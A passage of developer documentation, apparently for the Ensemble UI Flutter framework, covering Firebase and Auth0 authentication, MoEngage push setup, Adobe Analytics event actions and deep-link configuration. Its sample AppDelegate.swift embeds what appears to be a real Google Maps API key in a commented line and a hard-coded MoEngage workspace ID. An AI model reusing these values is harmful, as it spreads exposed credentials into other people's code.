method. + +#### Enable Sign in with Phone + +If you want to enable phone authentication, you will need to enable Phone as the sign-in method. You can also add phone numbers to the list of test numbers for your project. + +#### Add iOS app + +Under project settings, add iOS app to your Firebase project. As you go through the steps, you will download a file named `GoogleService-Info.plist` . We will use details from this file later on. +  +#### Add Android app + +Under project settings, add Android app to your Firebase project. As you go through the steps, you will download a file named `google-services.json` . We will use details from this file later on. + +--- + +## 2. Configure Ensemble app + +#### Get starter app + +Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . + +Set your definition source to be Ensemble: + +```yaml +    definitions: +  # where your page definitions are hosted ('local', 'remote' or 'ensemble') +  from: ensemble + +  ensemble: +  appId: +``` + +You can find you Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. + +#### Add Firebase app details to Ensemble app + +In the same file, `ensemble-config.yaml` , add Firebase account details in the following format. + +```yaml +    accounts: + firebase: + iOS: + apiKey: # In GoogleService-Info.plist, take the value of API_KEY + appId: # In GoogleService-Info.plist, take the value of GOOGLE_APP_ID + messagingSenderId: # In GoogleService-Info.plist, take the value of GCM_SENDER_ID + projectId: # In GoogleService-Info.plist, take the value of PROJECT_ID + android: + apiKey: # In google-services.json, take value of client.api_key.current_key + appId: # In google-services.json, take value of client.client_info.mobilesdk_app_id + messagingSenderId: # In google-services.json, take value of project_info.project_number + projectId: # In google-services.json, take value of project_info.project_id +``` + +To get these details, use the `GoogleService-Info.plist` and  `google-services.json` you downloaded during step 1. + +Here's an example of the outcome. + +firebase account details + + +#### Add sign-in providers to Ensemble app + +In the same file, `ensemble-config.yaml` , under `services` add the following. + +```yaml +    services: +      signIn: +        providers: +          google: +            iOSClientId: # In GoogleService-Info.plist, take the value of CLIENT_ID +            androidClientId: # In google-services.json, take value of client.oauth_client.client_id +``` + +Here's an example of the outcome. + + +firebase provider details + + +--- + +## 3. [iOS only] Update Info.plist file + +Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. + +``` + + + + CFBundleTypeRole + Editor + CFBundleURLSchemes + + + URL SCHEME GOES HERE + + + + Firebase iOS APP ID GOES HERE + + + +``` + +Use the `GoogleService-Info.plist` that you downloaded during step 1, and copy the value of REVERESED_CLIENT_ID. Paste this value in inside this string tag: ` URL SCHEME GOES HERE `. + +--- + +## 4. [Web Only] Add Authorized domains + +Add authorized domains to your Firebase project. This is required for web apps to work with Firebase. + +Go to Firebase console, navigate to your project, and under Authentication, go to Settings. Add your domain to the list of authorized domains. + +firebase authorized domains + +--- + +## 5. Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_auth/auth_module.dart'; +``` + +* Search for this line and uncomment it: +``` + // AuthModuleImpl().init(); +``` + +* Search for this line and set it to true +``` + static const useAuth = false; +``` + +--- + +## 6. Add a Sign in screen + +Now that your app is set up to use Firebase, add a new screen in the studio with following definition. + +### Firebase Social Sign In + +For Social Sign In, Ensemble currently provides `SignInWithGoogle` and `SignInWithApple`. Set the provider `property` to `firebase`. + +```yaml +View: + body: + Column: + styles: + mainAxis: center + crossAxis: center + padding: 40 + children: + - SignInWithGoogle: + provider: firebase +``` + +Depending on your need, assign actions to `onSignedIn` and `onError` properties as well. For demo purpusoes here, we will just show a toast message. + + +```yaml + - SignInWithGoogle: + provider: firebase + onSignedIn: + showToast: + message: ${auth.user.email} + onError: + showToast: + message: Something went wrong +``` + +### Firebase Phone Auth + +If you need firebase phone auth, you can use these actions + +`sendVerificationCode` - to send the verification code to the phone number + +```yaml +sendVerificationCode: + provider: firebase + method: phone + phoneNumber: "+1-----------" (required if type is phone) + onSuccess: + // to go to the next screen for otp, it should provide the verification id and resend token + // e.g event.data.verificationId, event.data.resendToken + onError: + // handle error state +``` + +`validateVerificationCode` - to validate the code sent to the phone number + +```yaml +validateVerificationCode: + provider: firebase + method: phone + code: // otp from the `ConfirmationInput` widget + verificationId: // verification id from `sendVerificationCode` action + onSuccess: + // return the authenticated user and idToken + // e.g event.data.user.id, event.data.idToken + onError: + // handle the error state + onVerificationFailure: + // handle the verification failure +``` + +`resendVerificationCode` - to resend the code if resend token is available + +```yaml +resendVerificationCode: + provider: firebase + method: phone + phoneNumber: ${phoneNumber} (required if type is phone) + resendToken: ${resendToken} + onSuccess: + // return the verificationId and resendToken + onError: + // handle error state +``` + +Note: If resend token is not available, you can use `sendVerificationCode` to get the updated token. + +[Kitchen Sink - Firebase Phone Auth](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/A7JOo1uZTYoYVwOUA76c) + +--- +### Firebase Sign In with Custom jwt Token + +Authenticate users in Firebase using a custom `jwtToken` minted by the backend with Firebase Admin SDK, enabling access to secure Cloud Functions. + +`signInWithCustomToken` - to pass token to firebase console + +```yaml +signInWithCustomToken: + token: // Token id from `signInWithServerAPI` action + onAuthenticated: + // return the authenticated user and idToken + // e.g event.data.user.id, event.data.idToken + // if user doesn't exists (uuid doesn't match any existing user) + // it'll create anonymous one + // otherwise return authenticated user + onError: + // handle the error state + // Errors can be invalidToken, NullToken etc +``` +## 7. Build and run the app + +* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). +* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. +* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. +* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. + +--- + +# Setting up Authentication with Auth0 + +In this guide, we will authenticate users against an existing Auth0 tenant. + +#### Prerequisites + +1. You have an existing Auth0 tenant +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## 1. Provision Auth0 App Credentials + +Login to your Auth0 tenant and go the [Applications](https://manage.auth0.com/#/applications) section of your dashboard. + +#### Create an Auth0 Application + +Click on "Create Application", and enter a name for your application. Select "Native" as the application type and click "Create". + +#### Enable Connections + +Your application should have at least one enabled Connection. Click on "Connections" and enable any database or identity provider, e.g. Google. + +#### Configure Application + +Navigate to the "Settings" tab on your application page, and scroll to the "Application URIs" section. This is where we will set your Allowed Callback URLs and Allowed Logout Urls for Android and iOS. The values will follow this template: + +- Android: `SCHEME://AUTH0_DOMAIN/android/YOUR_PACKAGE_NAME/callback` +- iOS: `YOUR_BUNDLE_ID://AUTH0_DOMAIN/ios/YOUR_BUNDLE_ID/callback` + +`SCHEME` can be a custom protocol key for you to differentiate client schemes. If this is not needed, you can simply use `http`. + +--- + +## 2. Configure Ensemble app + +#### Get starter app + +Clone [Ensemble Starter](https://github.com/EnsembleUI/starter) from GitHub. Using a code or text editor, open `/ensemble/ensemble-config.yaml` . + +Set your definition source to be Ensemble: + +```yaml +    definitions: +  # where your page definitions are hosted ('local', 'remote' or 'ensemble') +  from: ensemble + +  ensemble: +  appId: +``` + +You can find your Ensemble app id by navigating to the app on Ensemble Studio, clicking the menu icon, and selecting `Copy App ID` option. + +#### Configure Auth0 details for Ensemble app + +In the same file, `ensemble-config.yaml` , add your Auth0 app client ID in the following format. + +```yaml +    services: + signIn: + serverUri: # the domain of your auth0 tenant + providers: + auth0: + iOSClientId: # the client id of of the Auth0 application your created in step 1 + # you may specify additional client ids if you have different applications, otherwise this will be the same client id for all + androidClientId: + webClientId: + serverClientId: +``` + +--- + +## 3. [iOS only] Update Info.plist file + +Inside the directory where you cloned Ensemble Starter, open `/ios/Runner/Info.plist` with a code editor. Add the following to this file. + +``` + CFBundleURLTypes + + + CFBundleTypeRole + Editor + CFBundleURLName + + + CFBundleURLSchemes + + $(PRODUCT_BUNDLE_IDENTIFIER) + + + +``` + +--- + +## 4. [Android only] Update build.gradle + +Inside the directory where you cloned Ensemble starter, open `/android/build.gradle` in your code editor. Add the following to this file. + +```groovy +// android/app/build.gradle + +android { + // ... + + defaultConfig { + // ... + manifestPlaceholders += [auth0Domain: "", auth0Scheme: ""] + } + + // ... +} +``` + +## 4. Enable Auth service in Ensemble code + +By default, Ensemble does not include the authentication module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. + +Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. + +* Search for this line and uncomment it: +``` +// import 'package:ensemble_auth/auth_module.dart'; +``` + +* Search for this line and uncomment it: +``` + // AuthModuleImpl().init(); +``` + +* Search for this line and set it to true +``` + static const useAuth = false; +``` + +--- + +## 5. Add a Sign in screen + +Now that your app is set up to use Auth0, add a new screen in the studio with following definition. + + +```yaml +View: + body: + Column: + styles: + mainAxis: center + crossAxis: center + padding: 40 + children: + - SignInWithAuth0: + scheme: flutterdemo + provider: auth0 + onAuthenticated: + showToast: + message: ${auth.user.email} +``` + +--- + +## 6. Build and run the app + +* Review `/ensemble/ensemble.properties`. Update the appId as needed - this is your app's bundle ID in the format of . e.g. `com.ensembleui.myfirstapp` (all lowercase, no special characters). +* Run `flutter pub upgrade`. Run this occasionally when the Ensemble framework has been updated. +* Run `flutter create --org com.ensembleui --project-name starter --platform=ios,android .` (note the period at the end). If you modified the appId, make sure the org and project name match the bundle ID. +* Run the App with `flutter run`. If you currently have a running iOS or Android emulator, the command will prompt for a selection, otherwise the App will be opened in the web browser. + +--- + + +# MoEngage Integration + +MoEngage is a powerful customer engagement platform that enables real-time, personalized messaging across multiple channels. Ensemble provides native integration with MoEngage offering: +- Push Notifications (iOS & Android) +- In-App Messaging +- Event Tracking & Analytics +- User Attribute Management + + +## MoEngage Dashboard Setup + +The following setup on MoEngage Dashboard is required regardless of whether you're enabling MoEngage through Ensemble Studio or local development. This establishes the core configuration needed for MoEngage integration. + +1. Get MoEngage Workspace ID: + - Navigate to MoEngage Dashboard → Settings → General Settings → Basic Details + - Copy your Workspace ID from the displayed information + +2. Configure Firebase for Android Push: + - Follow the complete [FCM Authentication Guide](https://developers.moengage.com/hc/en-us/articles/16909296490644-FCM-Authentication) + - This guide walks you through: + a. Creating a Firebase project + b. Generating FCM Server Key + c. Adding the key to MoEngage Dashboard + d. Enabling necessary FCM APIs + +3. Configure APNS for iOS Push (Choose one): + - Option 1: [APNS Authentication Key](https://developers.moengage.com/hc/en-us/articles/8484447635348-APNS-Authentication-Key) (Recommended) + - Option 2: [APNS Certificate](https://developers.moengage.com/hc/en-us/articles/4403944011028-APNS-Certificate-PEM-file) + +4. Create Platform Apps: + - Create corresponding apps in Firebase Console for Android/iOS + - Ensure the application ID matches your Ensemble app configuration + - Download required configuration files: + - Android: google-services.json + - iOS: GoogleService-Info.plist + - Web: Firebase configuration object + +## Enable MoEngage in Ensemble Studio + +If you're using Ensemble Studio for building your application, follow these steps to enable MoEngage. No additional local configuration will be required. + +1. Navigate to Build & Deploy → Build Settings +2. Enable MoEngage toggle in the Modules section +3. Enter Configuration Details: + - MoEngage Workspace ID obtained from dashboard + - Add Firebase Web Configuration +4. Upload Platform Configuration Files: + - Upload google-services.json for Android + - Upload GoogleService-Info.plist for iOS +5. Click Update to save your configuration + + +## Handling Notifications + +Ensemble provides multiple ways to handle MoEngage notifications to suit your use cases: + +1. **Notification Handler**: Define a notification handler in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. + +2. **Default Behavior**: If notification handler is not specified, the app will simply open up (if not in foreground). + +### Creating a Script and Handler Function + +1. Navigate to or create a script in the Scripts section, for example Common.js. + +2. Create a handler function that will be called when notifications are received: + +```javascript +function handle_notification(notification) { + // Your notification handling logic here +} +``` + +The notification parameter will contain: + +#### For Push Notifications: +```javascript +{ + "payload": {...}, // Original push payload data received from MoEngage + "clickedAction": Map, // Button action details if clicked + "platform": "android/ios", + 'notificationType': 'push', + "isDefaultAction": true/false, // For Android only +} +``` + +For complete push notification payload details, see [Push Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/11652033989396-Push-Callback#h_01H1RX45YD2A06V7SM4TYZWF3V) + +#### For In-App Messages: +```javascript +{ + "campaignId": "campaign_id", + "campaignName": "campaign_name", + "platform": "android/ios", + 'notificationType': 'inApp', + "data": { + "navigationType": "deeplink/screen", // present only if action is `NavigationAction` + "navigationUrl": "url", // present only if action is `NavigationAction` + "keyValuePairs": {} // Custom data + } +} +``` + +For complete in-app message payload structure, see [In-App Callback Payload Documentation](https://developers.moengage.com/hc/en-us/articles/4404365619092-InApp-NATIV#h_01H96BKP4MZAJTSRZ58FM3Z3XZ) + +Inside your handler function, you can: +- Write custom routing logic +- Access ensemble.storage +- Return a navigation payload + +Example handler: +```javascript +function handle_notification(notification) { + console.log("Received notification:", notification); + + // Assuming the screen name is in the data section + var payload = { + "name": notification['data']['screen'], + // You can also pass inputs that will be accessible on the destination screen using `notificationPayload.*` + }; + + return payload; +} +``` + +If you don't want to navigate, simply don't return anything. + +### Setting up the Handler + +1. Go to Settings -> Environment Variables +2. Add new variable: `ensemble_notification_handler` +3. Set value to `scriptName.handlerName` (e.g. `Common.handle_notification`) + +Once configured, your handler function will be called for all received notifications. + + + +## Enable MoEngage in Local Project + +If you're developing locally without using Ensemble Studio build system, follow these configuration steps. You can skip the Ensemble Studio setup section above. + +#### Ensemble Files (Required) + +**1.** Update `ensemble_modules.dart` +Import required modules and initialize Firebase and MoEngage. Add this at the start of file: +```dart +import 'dart:io'; +import 'package:flutter/foundation.dart'; +import 'package:ensemble_moengage/moengage.dart'; +import 'package:firebase_core/firebase_core.dart'; +``` +Replace default Firebase initialization with platform-specific options + +```dart +// Initialize Firebase with platform-specific options +FirebaseOptions? androidPayload = const FirebaseOptions( + apiKey: "YOUR_ANDROID_API_KEY", + appId: "YOUR_ANDROID_APP_ID", + messagingSenderId: "YOUR_MESSAGING_SENDER_ID", + projectId: "YOUR_PROJECT_ID", + storageBucket: "YOUR_PROJECT_STORAGE_BUCKET" +); + +// Add similar configurations for iOS and Web platforms +FirebaseOptions? iosPayload = ... +FirebaseOptions? webPayload = ... + +FirebaseOptions? selectedPayload; +if (Platform.isAndroid) { + selectedPayload = androidPayload; +} else if (Platform.isIOS) { + selectedPayload = iosPayload; +} +if (kIsWeb) { + selectedPayload = webPayload; +} + +await Firebase.initializeApp(options: selectedPayload); +``` +Initialize MoEngage with your workspace ID and logging preferences by replace this `GetIt.I.registerSingleton(MoEngageImpl());` with below code: +```dart +// Register MoEngage +GetIt.I.registerSingleton( + MoEngageImpl( + workspaceId: 'YOUR_WORKSPACE_ID', // dont forget to replace workspace id. + enableLogs: true + ) +); +``` + +**2.** Update `ensemble.properties`: +```yaml +moengageAppId=YOUR_WORKSPACE_ID +``` +#### Android Configuration +**1.** Add MoEngage and Firebase dependencies in `android/app/build.gradle` and also Configure Google Services plugin: +```gradle +dependencies { + // MoEngage Core dependencies + implementation("androidx.core:core:1.6.0") + implementation("com.moengage:moe-android-sdk:12.8.01") + implementation("com.google.firebase:firebase-messaging:23.4.1") + implementation("androidx.lifecycle:lifecycle-process:2.7.0") + implementation("androidx.appcompat:appcompat:1.3.1") + implementation("com.github.bumptech.glide:glide:4.9.0") +} + +apply plugin: 'com.google.gms.google-services' +``` + +**2.** Update `AndroidManifest.xml` to add required permissions, MoEngage services and set up deep linking configurations, also change application level `android:name`: +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +**3.** Create `CustomPushListener.kt` to handle push notification interactions: +```kotlin +package your.package.name + +import android.app.Activity +import android.os.Bundle +import com.moengage.core.internal.logger.Logger +import com.moengage.core.model.AccountMeta +import com.moengage.plugin.base.push.PluginPushCallback + +class CustomPushListener(accountMeta: AccountMeta) : PluginPushCallback(accountMeta) { + private val tag = "CustomPushListener" + + override fun onNotificationClick(activity: Activity, payload: Bundle): Boolean { + Logger.print { "$tag onNotificationClick() : " } + return super.onNotificationClick(activity, payload) + } +} +``` + +**4.** Create `MyApplication.kt`: +```kotlin +package your.package.name + +import com.moengage.core.DataCenter +import com.moengage.core.MoEngage +import com.moengage.core.config.FcmConfig +import com.moengage.core.config.NotificationConfig +import com.moengage.flutter.MoEInitializer +import android.app.Application + +class MyApplication : Application() { + override fun onCreate() { + super.onCreate() + + val moEngage = MoEngage.Builder(this, BuildConfig.MOENGAGE_WORKSPACE_ID, DataCenter.DATA_CENTER_1) + .configureFcm(FcmConfig(true)) + .configureNotificationMetaData( + NotificationConfig( + R.drawable.icon, + R.drawable.launcher, + notificationColor = -1, + isMultipleNotificationInDrawerEnabled = false, + isBuildingBackStackEnabled = true, + isLargeIconDisplayEnabled = true + ) + ) + + MoEInitializer.initialiseDefaultInstance(this, moEngage) + } +} +``` + +**5.** Update `MainActivity.kt`: +```kotlin +package your.package.name + +import android.content.Intent +import android.content.res.Configuration +import android.os.Bundle +import com.moengage.flutter.MoEFlutterHelper +import io.flutter.embedding.android.FlutterActivity + +class MainActivity : FlutterActivity() { + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + processIntent(intent) + } + + override fun onConfigurationChanged(newConfig: Configuration) { + super.onConfigurationChanged(newConfig) + MoEFlutterHelper.getInstance().onConfigurationChanged() + } + + override fun onNewIntent(intent: Intent) { + super.onNewIntent(intent) + processIntent(intent) + } + + private fun processIntent(intent: Intent?) { + if (intent == null) return + } +} +``` + +**6.** Add Platform Configuration Files: + - Place `google-services.json` in `android/app/` + - Add to `android/build.gradle`: +```gradle +buildscript { + dependencies { + classpath 'com.google.gms:google-services:4.3.15' + } +} +``` + +#### iOS Configuration + + +**1.** Update `AppDelegate.swift`: +```swift +import UIKit +import Flutter +// import GoogleMaps +import flutter_local_notifications + +// Add below Moenage Dependencies +import moengage_flutter_ios +import MoEngageSDK +import MoEngageInApps +import MoEngageMessaging + + +@main +@objc class AppDelegate: FlutterAppDelegate { + static let methodChannelName: String = "com.ensembleui.host.platform" + var methodChannel: FlutterMethodChannel? + + override func application( + _ application: UIApplication, + didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? + ) -> Bool { + let controller : FlutterViewController = window?.rootViewController as! FlutterViewController + methodChannel = FlutterMethodChannel(name: AppDelegate.methodChannelName, binaryMessenger: controller.binaryMessenger) +// GMSServices.provideAPIKey("AIzaSyD8vwvoaEPEgYemp1EkIETetJMvyS4Ptqk") + FlutterLocalNotificationsPlugin.setPluginRegistrantCallback { (registry) in + GeneratedPluginRegistrant.register(with: registry) } + + if #available(iOS 10.0, *) { + UNUserNotificationCenter.current().delegate = self as UNUserNotificationCenterDelegate + } + + // Add below 6 lines for moengage implementatino + let yourWorkspaceID = "1SZEGT6AYEZE0XANA7IKYPL8" + let sdkConfig = MoEngageSDKConfig(withAppID: yourWorkspaceID) + sdkConfig.appGroupID = "group.com.alphadevs.MoEngage.NotificationServices" + sdkConfig.consoleLogConfig = MoEngageConsoleLogConfig(isLoggingEnabled: true, loglevel: .verbose) + + MoEngageSDKCore.sharedInstance.enableAllLogs() + MoEngageInitializer.sharedInstance.initializeDefaultInstance(sdkConfig, launchOptions: launchOptions) + + + GeneratedPluginRegistrant.register(with: self) + return super.application(application, didFinishLaunchingWithOptions: launchOptions) + } + + override func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { + // Calling flutter method "urlOpened" from iOS + methodChannel?.invokeMethod("urlOpened", arguments: url.absoluteString) + return true + } + + // Add below 4 functions for moenage + override func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) { + MoEngageSDKMessaging.sharedInstance.setPushToken(deviceToken) + } + + override func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { + completionHandler([.alert, .sound]) + } + + override func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { + MoEngageSDKMessaging.sharedInstance.userNotificationCenter(center, didReceive: response) + completionHandler() + } + + + override func application(_ application: UIApplication, willContinueUserActivityWithType userActivityType: String) -> Bool { + print("Opening Universal link", userActivityType) + return false + } +} +``` + +--- + + +# Adobe Analytics + +Adobe Analytics is a powerful analytics solution that provides real-time analytics and detailed segmentation capabilities. Ensemble provides native integration with Adobe Analytics offering: +- Real-time analytics tracking +- User identity management +- Consent management +- User profile management +- Adobe Assurance integration +- Edge network support + +## Prerequisites + +1. You have created an Adobe Experience Platform project +2. You have created an app on Ensemble Studio +3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine +4. You have a Simulator for testing + +## Adobe Experience Platform Setup + +The following setup on Adobe Experience Platform is required regardless of whether you're enabling Adobe Analytics through Ensemble Studio or local development. + +1. Get Adobe Experience Platform Configuration: + - Navigate to Adobe Experience Platform → Data Collection → Mobile Properties + - Create a new mobile property or select an existing one + - Copy your configuration details including: + - App ID + +2. Configure Edge Network: + - Set up your Edge Network configuration + - Configure your datastreams + - Set up your schema and datasets + +## Enable Adobe Analytics + +### In Ensemble Studio + +If you're using Ensemble Studio for building your application, follow these steps to enable Adobe Analytics. + +1. Navigate to Build & Deploy → Build Settings +2. Enable Adobe Analytics toggle in the Modules section +3. Enter Configuration Details: + - Adobe Experience Platform App ID + +### In Local Project + +If you're developing locally without using Ensemble Studio build system, follow these configuration steps. + +1. Update `ensemble_modules.dart`: + - Uncomment the Adobe Analytics import: + ```dart + import 'package:ensemble_adobe_analytics/adobe_analytics.dart'; + ``` + - Set `useAdobeAnalytics` to `true`: + ```dart + useAdobeAnalytics: true, + ``` + - Initialize Adobe Analytics with your App ID: + ```dart + GetIt.I.registerSingleton( + AdobeAnalyticsImpl(appId: "YOUR_APP_ID") + ); + ``` + +## Example Actions + +### Core Operations + +#### Track Action (User Interactions) + +Track event actions that occur in your application. + +```yaml +logEvent: + name: trackButtonClick + provider: adobe + operation: trackAction + parameters: + eventName: 'button_click' + eventType: 'button_click' + eventSource: 'mobile_app' + eventCategory: 'button_click' + eventAction: 'button_click' + eventLabel: 'button_click' +``` + +#### Track State (Page Views) + +Track states that represent screens or views in your application. + +```yaml +logEvent: + name: trackScreenView + provider: adobe + operation: trackState + parameters: + eventName: 'screen_view' + eventType: 'screen_view' + eventSource: 'mobile_app' +``` + +#### Edge Operations + +Send an Experience event to Adobe Experience Platform Edge Network. + +```yaml +logEvent: + name: trackXdmEvent + provider: adobe + operation: sendEvent + parameters: + xdmData: + eventType: 'commerce.productViews' + commerce: + productViews: + value: 1 + data: + customField: 'customValue' + userSegment: + - 'segment1' + - 'segment2' + datastreamIdOverride: +``` + +### Identity Management + +#### Get Experience Cloud ID + +Retrieve the Experience Cloud ID (ECID) that was generated when the app was initially launched. + +```yaml +logEvent: + name: getExperienceCloudId + provider: adobe + operation: getExperienceCloudId +``` + +#### Get URL Variables +Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. The response will not return any leading & or ?, since the caller is responsible for placing the variables in the resulting URL in the correct locations. If an error occurs while retrieving the URL variables, the callback handler will return a null value. Otherwise, the encoded string is returned. An example of an encoded string is as follows: 'adobe_mc=TS%3DTIMESTAMP_VALUE%7CMCMID%3DYOUR_ECID%7CMCORGID%3D9YOUR_EXPERIENCE_CLOUD_ID' +- `MCID`: This is also known as the Experience Cloud ID (ECID). +- `MCORGID`: This is also known as the Experience Cloud Organization ID. +- `TS`: The timestamp that is taken when the request was made. + +```yaml +logEvent: + name: getUrlVariables + provider: adobe + operation: getUrlVariables +``` + +#### Get All Identities + +Get all identities in the Identity for Edge Network extension. + +```yaml +logEvent: + name: getIdentities + provider: adobe + operation: getIdentities +``` + +#### Update Identities + +Update the currently known identities within the SDK. + +```yaml +logEvent: + name: updateIdentities + provider: adobe + operation: updateIdentities + parameters: + identities: + CustomNamespace: + - id: 'test-custom-id' + authenticatedState: 'authenticated' + primary: true + CustomNamespace2: + - id: 'test-custom-id-2' + authenticatedState: 'authenticated' + primary: false +``` + +#### Remove Identity +Remove the identity from the stored client-side IdentityMap. The Identity extension will stop sending the identifier to the Edge Network. Using this API does not remove the identifier from the server-side User Profile Graph or Identity Graph. +Identities with an empty id or namespace are not allowed and are ignored. + +Removing identities using a reserved namespace is not allowed using this API. The reserved namespaces are: +- ECID +- IDFA +- GAID + +```yaml +logEvent: + name: removeIdentity + provider: adobe + operation: removeIdentity + parameters: + item: + id: 'test-custom-id' + authenticatedState: 'ambiguous' # Options: 'authenticated', 'ambiguous', 'loggedOut' + primary: false + namespace: 'CustomNamespace' +``` + +#### Reset All Identities +Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID) . Using this API does not remove the identifiers from the server-side User Profile Graph or Identity Graph. + +This is a destructive action, since once an ECID is removed it cannot be reused. The new ECID generated by this API can increase metrics like unique visitors when a new user profile is created. + +Some example use cases for this API are: + +- During debugging, to see how new ECIDs (and other identifiers paired with it) behave with existing rules and metrics. +- A last-resort reset for when an ECID should no longer be used. + +This API is not recommended for: + +- Resetting a user's consent and privacy settings. +- Removing existing custom identifiers; use the `removeIdentity` API instead. +- Removing a previously synced advertising identifier after the advertising tracking settings were changed by the user; use the `setAdvertisingIdentifier` API instead. + +ℹ️ The Identity for Edge Network extension does not read the Mobile SDK's privacy status and therefor setting the SDK's privacy status to opt-out will not clear the identities from the Identity for Edge Network extension. + +```yaml +logEvent: + name: resetIdentities + provider: adobe + operation: resetIdentities +``` + +#### Set Advertising Identifier + +When this API is called with a valid advertising identifier, the Identity for Edge Network extension includes the advertising identifier in the XDM Identity Map using the namespace GAID (Google Advertising ID) in Android and IDFA (Identifier for Advertisers) in iOS. If the API is called with the empty string (''), null/nil, or the all-zeros UUID string values, the advertising identifier is removed from the XDM Identity Map (if previously set). The advertising identifier is preserved between app upgrades, is saved and restored during the standard application backup process, and is removed at uninstall. + +```yaml +logEvent: + name: setAdvertisingIdentifier + provider: adobe + operation: setAdvertisingIdentifier + parameters: + advertisingIdentifier: +``` + +### Consent Management + +#### Get Current Consents + +Retrieve the current consent preferences stored in the Consent extension. + +```yaml +logEvent: + name: getConsents + provider: adobe + operation: getConsents +``` + +#### Update Consent + +Merge the existing consents with the given consents. + +```yaml +logEvent: + name: updateConsent + provider: adobe + operation: updateConsent + parameters: + allowed: true # or false +``` + +#### Set Default Consent + +Sets the default consent preferences for the Consent extension. + +```yaml +logEvent: + name: setDefaultConsent + provider: adobe + operation: setDefaultConsent + parameters: + allowed: true # or false +``` + +### User Profile Management + +#### Get User Attributes + +Get user profile attributes which match the provided keys. + +```yaml +logEvent: + name: getUserAttributes + provider: adobe + operation: getUserAttributes + parameters: + attributes: + - 'firstName' + - 'lastName' + - 'email' +``` + +#### Update User Attributes + +Set multiple user profile attributes. + +```yaml +logEvent: + name: updateUserAttributes + provider: adobe + operation: updateUserAttributes + parameters: + attributeMap: + firstName: 'John' + lastName: 'Doe' + email: 'john.doe@example.com' +``` + +#### Remove User Attributes + +Remove provided user profile attributes if they exist. + +```yaml +logEvent: + name: removeUserAttributes + provider: adobe + operation: removeUserAttributes + parameters: + attributes: + - 'firstName' + - 'lastName' +``` + +### Adobe Assurance + +Configure Adobe Assurance for debugging and validation. + +```yaml +logEvent: + name: setupAssurance + provider: adobe + operation: setupAssurance + parameters: + url: +``` + +--- + +# Setup Deeplink + +In this guide, we'll integrate the deep linking for the Android and iOS Apps + +## Android Setup +1. Create a file named ```assetlinks.json``` and add namespace, package and sha256 +2. Upload the ```assetlinks.json``` file to the website (https://example.com/.wellknown/assetlinks.json) +3. Add ```intent-filter with domain, path, scheme,``` etc in the ```activity``` tag of ```AndroidManifest.xml``` +4. meta-data ```flutter_deeplinking_enabled``` to the ```activity``` tag +5. To test deep links, Execute the following command in the terminal + +``` +adb shell am start -a android.intent.action.VIEW \ +-c android.intent.category.BROWSABLE \ +-d [https://example.com](https://example.com/) +``` + +6. Test it in physical device, Send the url to any of the notes app and click the link. + +For more info: [Android App Links](https://developer.android.com/training/app-links) + +## iOS Setup +1. Add ```Associated Domain``` capability. Prefix the domain with ```applinks:``` +2. Create a new file named ```apple-app-site-association``` with no file extension. Add details like appIds (teamId.BundleID), components (url path), etc +3. It must be uploaded in the (https://ensembleui.com/.wellknown/apple-app-site-association), needs to be served with content type (application/json) but without the file extension +4. Add ```FlutterDeepLinkingEnabled``` to the ```Info.plist``` file +5. To test deep links, Use ```xcrun simctl openurl booted [https://example.com/path]```(https://example.com/path) +6. Test it in physical device, Send the url to any of the notes app and click the link + +For more info: [iOS Universal Link](https://developer.apple.com/ios/universal-links/) + + +## For Deferred Deep Linking +Checkout - https://docs.ensembleui.com/#/build/deep-link/deferred-deeplink + +--- + +# Setup Deferred Deeplink +In this guide, we'll integrate the deferred deep linking for the Android and iOS Apps. There are some service providers like branch, appsflyer, etc for deferred deep linking. + +*NOTE: Currently, we support only the BranchIO as of now.* + +## BranchIO (http://branch.io) +For Detailed Doc - https://help.branch.io/developers-hub/docs + +#### Configure Branch Dashboard +1. Go to Configuration -> General +2. Setup Default URL +3. Android Redirects + - Android URI Scheme + - Google Play Search or Custom URL + - SHA 256 Certificate Fingerprints + - Additional Settings +4. iOS Redirects + - iOS URI Scheme + - Apple Store Search or Custom URL + - Enable Universal Links (BundleID, Apple App Prefix) + - Additional Settings + +#### Configure Native Platforms +1. Android + - Add Branch to your AndroidManifest.xml + - Add Branch App Links (Test and Live) + - Add Branch Keys (Test and Live) + +2. iOS + - Configure Bundle ID + - Add associated domains from branch dashboard's Link Domain section of the configuration page to the iOS project "Signing & 